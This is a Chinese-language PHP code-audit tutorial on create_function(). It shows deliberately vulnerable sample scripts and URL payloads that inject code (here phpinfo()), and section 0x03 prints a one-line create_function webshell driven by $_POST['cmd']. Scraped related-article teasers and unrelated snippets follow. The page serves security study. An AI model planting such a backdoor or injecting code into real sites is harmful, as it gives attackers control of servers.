0x00 create_function()简介

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

  1. 1 create_function(string $args,string $code)
  2. 2 string $args 声明的函数变量部分
  3. 3
  4. 4 string $code 执行的方法代码部分

0x01 函数功能分析

案例:

  1. <?php
  2. $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
  3. echo "New anonymous function: $newfunc\n";
  4. echo $newfunc(2, M_E) . "\n";
  5. ?>

保存为create.php

分析:

create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

因此,上述匿名函数的创建与执行过程等价于:

  1. <?php
  2. function lambda_1($a,$b){
  3. return "ln($a) + ln($b) = " . log($a * $b);
  4. }
  5. ?>

create_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload构造,从而进行漏洞挖掘和找出存在的缺陷。

0x02 实现代码注入的案例

案例1:

  1. <?php
  2. error_reporting(0);
  3. $sort_by = $_GET['sort_by'];
  4. $sorter = 'strnatcasecmp';
  5. $databases=array('1234','4321');
  6. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
  7. usort($databases, create_function('$a, $b', $sort_function));
  8. ?>

payload的构造:

  1. http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

  1. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

  1. function niming($a,$b){
  2. return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
  3. }

回车换行整理一下:

  1. function niming($a,$b){
  2. return 1 * ' . $sorter . '($a["' . $sort_by '"]);
  3. }
  4. phpinfo();/*
  5. }

案例2:

  1. <?php
  2. $c=$_GET['c'];
  3. $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
  4. $array=array('reall long string here,boy','this','midding lenth','larget');
  5. usort($array,$lambda);
  6. print_r($array);
  7. ?>

payload的构造:

  1. http://localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

  1. $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

  1. function ft($a,$b){
  2. return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
  3. }

回车换行整理一下:

  1. function ft($a,$b){
  2. return (strlen($a)-strlen($b)+" . "strlen(1));
  3. }
  4. phpinfo();
  5. /*));
  6. }

0x03 打造后门

houmen.php

  1. <?php $func =create_function('',$_POST['cmd']);$func();?>

create_function()是可以利用当后门的函数,实际上它是通过执行eval实现(此处相当于一句话木马),访问如下:

0x04 create_function()被高版本 PHP 废弃

PHP 7.2.0开始,create_function()被废弃

PHP代码审计之create_function()函数的更多相关文章

  1. 代码审计之create_function()函数

    0x00 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称. 语法: create_f ...

  2. 代码审计学习01-in_array() 函数缺陷

    一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...

  3. PHP代码审计入门(敏感函数回溯参数过程)

    最近开始啃<代码审计企业级web代码安全架构>这本书,这一章内容看了2天很多内容都理解最主要的是对PHP不熟练所以现在理解了大概 然后进行实地环境搭建最主要的是源码百度真不好找 最后找到一 ...

  4. [代码审计Day2] filter_var函数缺陷代码审计

    简介 // composer require "twig/twig" require 'vendor/autoload.php'; class Template { private ...

  5. [php代码审计] Window api函数 FindFirstFile 在php中的问题

    include文件夹中文件: 内容: <?php echo __FILE__; ?> index.php: 演示如下: “<<”替换多个任意字符: “>”替换单个字符:

  6. PHP回调函数的几种用法

    PHP回调函数的实现方法 目录 前言      全局函数的回调      类静态函数的回调      对象的方法的回调      PHP事件模型(观察者模式)的实现思路    前言 最近在开发一个PH ...

  7. Php5.3的lambda函数以及closure(闭包)

    从php5.3以后,php也可以使用lambda function(可能你会觉得是匿名函数,的确是但不仅仅是)来写类似javascript风格的代码: $myFunc = function() { e ...

  8. php函数的种类与调用方法大揭密

    PHP中的函数看上去很简单,实际上功能非常强大,我这里按函数名称是否固定,可以分为以下三大类: 一.名称固定的函数: 这类函数,也叫:常规函数,直接用关键字function来创建,也是大家最熟悉的类型 ...

  9. 回调函数的原理及PHP实例

    背景:在最近的一个开发项目中,用户要先调用服务才能开始进行一系列的查询活动,想了好久,经同事提醒, 用回调函数即可解决该问题.在这里,对PHP下回调函数的原理及实现分别做一下讲解. 1 什么是回调 软 ...

随机推荐

  1. 学习笔记--html篇(2)

    html学习--2 canvas . svg 区别 canvas: 依赖分辨率 不支持文本渲染能力 文本渲染能力弱 支持保存图像为png.jpg等格式 适合图像密集开发(游戏) SVG 不依赖分辨率 ...

  2. Firebug: Net Panel 使用详解

    Introduction to Firebug: Net Panel Since there is not much user documentation related to Firebug fea ...

  3. CSAcademy Prefix Suffix Counting 题解

    CSAcademy Prefix Suffix Counting 题解 目录 CSAcademy Prefix Suffix Counting 题解 题意 思路 做法 程序 题意 给你两个数字\(N\ ...

  4. Blazor中的无状态组件

    声明:本文将RenderFragment称之为组件DOM树或者是组件DOM节点,将*.razor称之为组件. 1. 什么是无状态组件 如果了解React,那就应该清楚,React中存在着一种组件,它只 ...

  5. 网络路径排查工具使用/原理浅析(MTR、traceroute、tracepath、windows下besttrace)

    在请求网络资源获取缓慢或者有丢包过程中.经常会使用到网络路径探测工具.linux 下最常用的有mtr.traceroute.tracepath 等. 你是否有一点疑惑,路径探测的原理到底是如何完成的, ...

  6. 使用docker-compose一起安装kafka(zookeeper)

    要先安装docker-compose Linux安装docker-compose 参考:https://www.cnblogs.com/pxblog/p/15049362.html 创建docker- ...

  7. JAVA遍历某个文件夹下所有文件listFiles() 实现按照名称升序排序

    File[] files = file.listFiles(); List fileList = Arrays.asList(files); Collections.sort(fileList, ne ...

  8. c++ vector释放概述

    这里仅为概述,具体的详情分析,可以Google下,会得到更详尽的解释. 1.函数clear和erase都将数组的size清空,但对应的空间并没有回收,而且,一直push_baclk, 对应的capac ...

  9. c++内存分布之虚析构函数

    关于 本文代码演示环境: VS2017+32程序 虚析构函数是一种特殊的虚函数,可以知道,虚函数影响的内存分布规律应该也适用虚析构函数.看看实际结果. Note,一个类中,虚析构函数只能有一个. 本文 ...

  10. 牛客练习赛39 B:选点(二叉树遍历+LIS)

    链接: https://ac.nowcoder.com/acm/contest/368/B 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 131072K,其他语言262 ...